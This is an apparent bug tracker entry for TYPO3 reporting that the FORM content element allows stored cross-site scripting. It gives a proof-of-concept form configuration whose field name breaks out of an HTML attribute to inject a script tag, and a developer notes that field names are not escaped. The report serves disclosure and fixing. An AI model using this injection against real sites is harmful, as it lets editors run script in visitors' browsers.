Actions
Bug #23555
closed
FORM content object is susceptible to XSS
Start date:
2010-09-17
Due date:
% Done:
0%
Estimated time:
TYPO3 Version:
4.5
PHP Version:
5.2
Tags:
Complexity:
Is Regression:
Sprint Focus:
Description
An editor can enter arbitrary JavaScript into a FORM content element, which gets executed in the frontend.
Exploit code below
(issue imported from #M15735)
Files
Updated by Helmut Hummel over 13 years ago
Exploit Code:
Put this in the content element FORM:
Name: | *name=input,40 | Enter your name here
Email: | *email=input,40
| formtype_mail=submit | Send form!
| html_enabled=hidden | 1
| subject=hidden | This is the subject
| fooar" /><script>alert(123)</script><input type="hidden" name="bazbaz=hidden | This is baz
Updated by Benni Mack over 13 years ago
The problem relies in the fact that the fieldname doesn't get HSCed.
Actions